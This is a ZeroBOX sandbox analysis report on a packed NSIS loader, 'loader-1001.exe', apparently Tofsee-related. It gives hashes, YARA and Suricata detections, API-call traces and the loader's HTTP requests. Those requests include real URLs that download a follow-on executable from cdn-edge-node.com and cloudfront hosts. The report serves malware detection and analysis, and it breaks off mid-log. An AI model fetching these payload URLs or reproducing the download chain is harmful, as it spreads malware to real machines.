Summary | ZeroBOX

loader-1001.exe

NSIS Generic Malware UPX Malicious Library Downloader Antivirus ScreenShot Create Service KeyLogger Internet API P2P HTTP DGA Http API FTP Socket Escalate priviledges DNS Code injection PWS Sniff Audio Steal credential AntiDebug PE File AntiVM PE32
Category Machine Started Completed
FILE s1_win7_x6401 June 10, 2024, 10 a.m. June 10, 2024, 10:07 a.m.
Size 49.7KB
Type PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
MD5 58ca6d5068fa4fed981cf5ef8a04e4d5
SHA256 abc83f0b74c53bc98b6147e7fcc2a41c0a925bce79636b9557c0bb372e4f1205
CRC32 4C4F8E40
ssdeep 1536:XferrLkSRoe8C4UZsys0Dh1duFp+FI+PlQ:Xfi3k+oWDBDh1duFpDWlQ
Yara
  • Malicious_Library_Zero - Malicious_Library
  • PE_Header_Zero - PE File Signature
  • NSIS_Installer - Null Soft Installer
  • IsPE32 - (no description)
  • UPX_Zero - UPX packed file

Suricata Alerts

Flow SID Signature Category
TCP 192.168.56.101:49172 -> 13.225.110.102:443 906200054 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.101:49163 -> 54.230.169.11:443 906200054 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.101:49168 -> 13.225.110.102:443 906200054 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.101:49173 -> 172.67.165.254:443 906200054 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.101:49183 -> 172.67.176.247:443 906200054 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined

Suricata TLS

Flow Issuer Subject Fingerprint
TLSv1
192.168.56.101:49172
13.225.110.102:443
C=US, O=Amazon, CN=Amazon RSA 2048 M01 CN=*.cloudfront.net fa:21:45:dc:4d:94:03:a3:09:77:51:78:4a:21:f2:c5:6d:94:be:52
TLSv1
192.168.56.101:49168
13.225.110.102:443
C=US, O=Amazon, CN=Amazon RSA 2048 M01 CN=*.cloudfront.net fa:21:45:dc:4d:94:03:a3:09:77:51:78:4a:21:f2:c5:6d:94:be:52
TLSv1
192.168.56.101:49163
54.230.169.11:443
C=US, O=Amazon, CN=Amazon RSA 2048 M01 CN=*.cloudfront.net fa:21:45:dc:4d:94:03:a3:09:77:51:78:4a:21:f2:c5:6d:94:be:52
TLSv1
192.168.56.101:49173
172.67.165.254:443
C=US, O=Google Trust Services LLC, CN=GTS CA 1P5 CN=cdn-edge-node.com a9:8d:72:17:ad:81:a1:43:81:37:a3:7e:bd:5d:9c:03:b8:8b:07:ff
TLSv1
192.168.56.101:49183
172.67.176.247:443
C=US, O=Let's Encrypt, CN=E1 CN=adblock2024.shop f6:53:16:b6:98:89:7a:ae:57:00:89:be:e1:b6:81:59:8e:db:ed:ab

Time & API Arguments Status Return Repeated

GetComputerNameW

computer_name: TEST22-PC
1 1 0

GetComputerNameW

computer_name: TEST22-PC
1 1 0

GetComputerNameW

computer_name: TEST22-PC
1 1 0

GetComputerNameW

computer_name: TEST22-PC
1 1 0

GetComputerNameA

computer_name: TEST22-PC
1 1 0

GetComputerNameW

computer_name: TEST22-PC
1 1 0

GetComputerNameW

computer_name: TEST22-PC
1 1 0

GetComputerNameW

computer_name: TEST22-PC
1 1 0

GetComputerNameW

computer_name: TEST22-PC
1 1 0

GetComputerNameW

computer_name: TEST22-PC
1 1 0

GetComputerNameW

computer_name: TEST22-PC
1 1 0

GetComputerNameA

computer_name: TEST22-PC
1 1 0

GetComputerNameW

computer_name: TEST22-PC
1 1 0

GetComputerNameW

computer_name: TEST22-PC
1 1 0
Time & API Arguments Status Return Repeated

IsDebuggerPresent

0 0

IsDebuggerPresent

0 0

IsDebuggerPresent

0 0
Time & API Arguments Status Return Repeated

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x002d5b70
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x002d63b0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x002d63b0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x002d63b0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x002d6570
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x002d6570
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x002d6570
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x002d6570
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x002d6570
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x002d6570
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x002d59b0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x002d59b0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x002d59b0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x002d63b0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x002d63b0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x002d63b0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x002d6270
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x002d63b0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x002d63b0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x002d63b0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x002d63b0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x002d63b0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x002d63b0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x002d63b0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x002d66f0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x002d66f0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x002d66f0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x002d66f0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x002d66f0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x002d66f0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x002d66f0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x002d66f0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x002d66f0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x002d66f0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x002d66f0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x002d66f0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x002d66f0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x002d66f0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x002d6630
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x002d6630
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x004b0160
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00545bc0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00545bc0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00545bc0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00545e40
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00545e40
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00545e40
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00545e40
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00545e40
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00545e40
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0
Time & API Arguments Status Return Repeated

GlobalMemoryStatusEx

1 1 0
section .ndata
Time & API Arguments Status Return Repeated

__exception__

stacktrace:
TMethodImplementationIntercept+0x14209d dbkFCallWrapperAddr-0xdc72b i0+0x1f7f15 @ 0x5f7f15
TMethodImplementationIntercept+0x13b21b dbkFCallWrapperAddr-0xe35ad i0+0x1f1093 @ 0x5f1093
TMethodImplementationIntercept+0x13c502 dbkFCallWrapperAddr-0xe22c6 i0+0x1f237a @ 0x5f237a
TMethodImplementationIntercept+0x140e61 dbkFCallWrapperAddr-0xdd967 i0+0x1f6cd9 @ 0x5f6cd9
TMethodImplementationIntercept+0x140ed7 dbkFCallWrapperAddr-0xdd8f1 i0+0x1f6d4f @ 0x5f6d4f
TMethodImplementationIntercept+0x135f43 dbkFCallWrapperAddr-0xe8885 i0+0x1ebdbb @ 0x5ebdbb
TMethodImplementationIntercept+0x134c8d dbkFCallWrapperAddr-0xe9b3b i0+0x1eab05 @ 0x5eab05
TMethodImplementationIntercept+0x1ee923 dbkFCallWrapperAddr-0x2fea5 i0+0x2a479b @ 0x6a479b
TMethodImplementationIntercept+0x1eeaa2 dbkFCallWrapperAddr-0x2fd26 i0+0x2a491a @ 0x6a491a
TMethodImplementationIntercept+0x1fcbb2 dbkFCallWrapperAddr-0x21c16 i0+0x2b2a2a @ 0x6b2a2a
TMethodImplementationIntercept+0x2108fc dbkFCallWrapperAddr-0xdecc i0+0x2c6774 @ 0x6c6774
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x755c33ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x76f49ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x76f49ea5

exception.instruction_r: c9 c2 10 00 cc cc cc cc cc 8b ff 55 8b ec 56 8b
exception.symbol: RaiseException+0x58 CloseHandle-0x9 kernelbase+0xb727
exception.instruction: leave
exception.module: KERNELBASE.dll
exception.exception_code: 0xeedfade
exception.offset: 46887
exception.address: 0x7597b727
registers.esp: 1636536
registers.edi: 0
registers.eax: 1636536
registers.ebp: 1636616
registers.edx: 0
registers.ebx: 2147614729
registers.esi: 4294967295
registers.ecx: 7
1 0 0

__exception__

stacktrace:
TMethodImplementationIntercept+0x13fbef dbkFCallWrapperAddr-0xdebd9 i0+0x1f5a67 @ 0x5f5a67
TMethodImplementationIntercept+0x1ed87f dbkFCallWrapperAddr-0x30f49 i0+0x2a36f7 @ 0x6a36f7
TMethodImplementationIntercept+0x1ee939 dbkFCallWrapperAddr-0x2fe8f i0+0x2a47b1 @ 0x6a47b1
TMethodImplementationIntercept+0x1eeaa2 dbkFCallWrapperAddr-0x2fd26 i0+0x2a491a @ 0x6a491a
TMethodImplementationIntercept+0x1fcbb2 dbkFCallWrapperAddr-0x21c16 i0+0x2b2a2a @ 0x6b2a2a
TMethodImplementationIntercept+0x2108fc dbkFCallWrapperAddr-0xdecc i0+0x2c6774 @ 0x6c6774
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x755c33ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x76f49ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x76f49ea5

exception.instruction_r: c9 c2 10 00 cc cc cc cc cc 8b ff 55 8b ec 56 8b
exception.symbol: RaiseException+0x58 CloseHandle-0x9 kernelbase+0xb727
exception.instruction: leave
exception.module: KERNELBASE.dll
exception.exception_code: 0xeedfade
exception.offset: 46887
exception.address: 0x7597b727
registers.esp: 1637552
registers.edi: 0
registers.eax: 1637552
registers.ebp: 1637632
registers.edx: 0
registers.ebx: 34722800
registers.esi: 2
registers.ecx: 7
1 0 0
suspicious_features GET method with no useragent header suspicious_request GET https://d22hce23hy1ej9.cloudfront.net/load/th.php?a=2836&c=1001
suspicious_features GET method with no useragent header suspicious_request GET https://d22hce23hy1ej9.cloudfront.net/load/dl.php?id=458&c=1001
suspicious_features GET method with no useragent header suspicious_request GET https://cdn-edge-node.com/online_security_mkl.exe
request GET http://apps.identrust.com/roots/dstrootcax3.p7c
request GET https://d2lvl7wmj7b91p.cloudfront.net/load/load.php?c=1001
request GET https://d22hce23hy1ej9.cloudfront.net/load/th.php?a=2836&c=1001
request GET https://d22hce23hy1ej9.cloudfront.net/load/dl.php?id=458&c=1001
request GET https://cdn-edge-node.com/online_security_mkl.exe
Time & API Arguments Status Return Repeated

NtProtectVirtualMemory

process_identifier: 2556
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x73322000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2756
region_size: 524288
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02660000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2756
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026a0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

process_identifier: 2756
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x72421000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2756
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026ea000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

process_identifier: 2756
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 8192
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x72422000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2756
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026e2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2756
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02732000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2756
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026a1000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2756
region_size: 8192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026a2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2756
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0275a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2756
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02733000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2756
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02734000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2756
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0276b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2756
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02767000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2756
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026eb000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2756
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02752000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2756
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02765000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2756
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02735000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2756
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0275c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2756
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02aa0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2756
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02736000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2756
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0276c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2756
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02753000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2756
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02754000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2756
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02755000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2756
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02756000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2756
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02757000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2756
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02758000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2756
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02759000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2756
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04b40000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2756
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04b41000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2756
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04b42000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2756
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04b43000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2756
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04b44000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2756
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04b45000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2756
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04b46000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2756
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04b47000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2756
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04b48000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2756
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04b49000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2756
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04b4a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2756
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04b4b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2756
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04b4c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2756
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04b4d000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2756
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04b4e000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2756
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04b4f000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2756
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05040000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2756
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
